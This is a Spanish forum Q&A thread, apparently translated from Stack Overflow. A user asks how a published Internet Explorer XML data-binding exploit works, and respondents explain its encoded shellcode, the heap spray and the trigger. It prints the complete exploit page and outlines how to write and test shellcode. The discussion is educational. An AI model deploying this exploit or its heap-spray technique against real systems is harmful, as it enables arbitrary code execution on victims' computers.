Por lo general, no tengo dificultades para leer el código JavaScript, pero para este no puedo entender la lógica. El código es de un exploit que se publicó hace 4 días. Puedes encontrarlo en milw0rm .
Aquí está el código:
<html>
<div id="replace">x</div>
<script>
// windows/exec - 148 bytes
// http://www.metasploit.com
// Encoder: x86/shikata_ga_nai
// EXITFUNC=process, CMD=calc.exe
var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580");
// ugly heap spray, the d0nkey way!
// works most of the time
var spray = unescape("%u0a0a%u0a0a");
do {
spray += spray;
} while(spray.length < 0xd0000);
memory = new Array();
for(i = 0; i < 100; i++)
memory[i] = spray + shellcode;
xmlcode = "<XML ID=I><X><C><![CDATA[<image SRC=http://ਊਊ.example.com>]]></C></X></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></SPAN>";
tag = document.getElementById("replace");
tag.innerHTML = xmlcode;
</script>
</html>
Esto es lo que creo que hace y me gustaría que me ayudaras en la parte que no entiendo.
La variable shellcode
contiene el código para abrir el calc.exe
. No entiendo cómo han encontrado esa cuerda extraña. ¿Alguna idea?
Lo segundo es la variable spray
. No entiendo este extraño bucle.
Lo tercero es la variable memory
que nunca se usa en ningún lado. ¿Por qué lo crean?
Lo último: ¿qué hace la etiqueta XML en la página?
Por el momento tengo buenas respuestas pero sobre todo muy generales. Quisiera más explicaciones sobre el valor del código. Un ejemplo es unescape("%u0a0a%u0a0a");
. Qué significa eso? Lo mismo para el bucle: ¿por qué escribió el desarrollador length < 0xd0000
:? Me gustaría una comprensión más profunda, no solo la teoría de este código.
fuente
Respuestas:
El shellcode contiene algunas instrucciones de ensamblaje x86 que harán el exploit real.
spray
crea una larga secuencia de instrucciones que se incluiránmemory
. Como generalmente no podemos encontrar la ubicación exacta de nuestro shellcode en la memoria, ponemos muchasnop
instrucciones antes y saltamos a algún lugar allí. Lamemory
matriz contendrá el código x86 real junto con el mecanismo de salto. Alimentaremos el XML creado a la biblioteca que tiene un error. Cuando se analiza, el error hará que el registro del puntero de instrucción se asigne a algún lugar de nuestro exploit, lo que lleva a la ejecución de código arbitrario.Para comprender más profundamente, en realidad debería averiguar qué hay en el código x86.
unscape
se usará para poner la secuencia de bytes representados de la cadena en laspray
variable. Es un código x86 válido que llena una gran parte del montón y salta al inicio del shellcode. La razón de la condición final son las limitaciones de longitud de cadena del motor de secuencias de comandos. No puede tener cadenas más grandes que una longitud específica.En el ensamblaje x86,
0a0a
representaor cl, [edx]
. Esto es efectivamente equivalente a lanop
instrucción para los propósitos de nuestro exploit. Dondequiera que saltemosspray
, llegaremos a la siguiente instrucción hasta llegar al shellcode, que es el código que realmente queremos ejecutar.Si observa el XML, verá
0x0a0a
que también está allí. La descripción exacta de lo que sucede requiere un conocimiento específico del exploit (tienes que saber dónde está el error y cómo se explota, lo cual no sé). Sin embargo, parece que forzamos a Internet Explorer a activar el código defectuoso configurandoinnerHtml
esa cadena XML maliciosa. Internet Explorer intenta analizarlo y el código con errores de alguna manera le da control a una ubicación de memoria donde existe la matriz (dado que es un gran fragmento, la probabilidad de saltar allí es alta). Cuando saltamos allí, la CPU seguirá ejecutandoor cl, [edx]
instrucciones hasta que llegue al principio del shellcode que se guarda en la memoria.He desmontado el shellcode:
La comprensión de este shellcode requiere conocimiento de ensamblado x86 y el problema en la biblioteca de MS en sí (para saber cuál es el estado del sistema cuando llegamos aquí), ¡no JavaScript! Este código a su vez se ejecutará
calc.exe
.fuente
Esto parece una hazaña del reciente error de Internet Explorer para el que Microsoft lanzó el parche de emergencia. Utiliza una falla en la función de enlace de datos del controlador XML de Microsoft, que hace que la memoria del montón se desasigne incorrectamente.
Shellcode es un código de máquina que se ejecutará cuando ocurra el error. La pulverización y la memoria son solo un espacio asignado en el montón para ayudar a que se produzca la condición explotable.
fuente
Heap Spraying es una forma común de explotar las cosas del navegador, si te gusta puedes encontrar varias publicaciones como esta: http://sf-freedom.blogspot.com/2006/06/heap-spraying-introduction.html
fuente
Cada vez que veo memoria que no se aborda en una discusión sobre exploits, mi primer pensamiento es que el exploit es una especie de desbordamiento del búfer, en cuyo caso la memoria está causando que el búfer se desborde o se acceda una vez que el búfer se desborda .
fuente
Esto es de metasploit, eso significa que está usando uno de los códigos de shell de metasploit. Es de código abierto para que pueda ir y obtenerlo: http://www.metasploit.com/
fuente
Ver codificaciones de caracteres en HTML .
Son datos binarios codificados como una cadena, que JavaScript está decodificando.
Forma común de XSS también.
Puedes ver todos los trucos de codificación aquí:
http://www.owasp.org/index.php/Category:OWASP_CAL9000_Project
fuente
Ejemplo simple de shellcode
Hola mundo en ensamblaje en la sintaxis de xT x86, creo (Wizard in Training)
configurar el archivo:
vim shellcodeExample.s
compilar así:
as -o shellcodeExample.o shellcodeExample.s ; ld -s -o shellcode shellcodeExample.o
Ahora tienes un binario que imprime hola mundo. para convertir el binario en código de shell escriba:
objdump -D shellcode
obtendrá la salida:
Ahora, si observa la cuarta línea con texto, verá:
400078: eb 1a jmp 0x400094
la parte que dice
eb 1a
es la representación hexadecimal de la instrucción de ensamblajejmp one
donde "uno" es la dirección de memoria de su cadena.Para preparar su shellcode para la ejecución, abra otro archivo de texto y almacene los valores hexadecimales en una matriz de caracteres. Para formatear el código de shell correctamente, escriba un
\x
antes de cada valor hexadecimal.el próximo ejemplo de código de shell tendrá el siguiente aspecto según la salida del comando objdump:
Este ejemplo usa C para la matriz. Ahora tiene un shellcode funcional que escribirá en stdout "hello world"
puede probar el código de shell colocándolo en una vulnerabilidad o puede escribir el siguiente programa c para probarlo:
Para compilar el programa, escriba:
ejecute con
./run
Usted sabe que tiene un ejemplo funcional de desarrollo simple de shellcode que se probó en linux mint / debian.fuente
int 0x80
ABI de 32 bits en el código de 64 bits. Fallará para las cadenas en la pila, porque el núcleo solo mira los 32 bits bajos de los argumentos de syscall. ¿Qué sucede si usa la ABI de Linux int 0x80 de 32 bits en código de 64 bits? . (En ese caso, crearía un bucle infinito, porquesys_write
regresaría-EFAULT
ymov $1, %al
dejaría los bits superiores establecidos, por lo que obtendrá en-ENOSYS
lugar de sys_exit). Además, en el código de 64 bits puede simplementejmp
reenviar la cadena y usar un pariente RIPlea
para obtener la dirección, en lugar de llamar / pop.const char payload[]
así, estaría en el segmento de texto (en la sección .rodata) y no lo necesitarías-z execstack
.)movl 4, %rax
contiene un byte cero (y no se ensamblará debido a la falta de coincidencia de tamaño de operando, y le falta un,$
por lo que el 4 es una dirección absoluta). Creo que publicaste una versión anterior de tu fuente. Mis comentarios anteriores son de mirar el desensamblaje donde agregaste unasys_exit
llamada.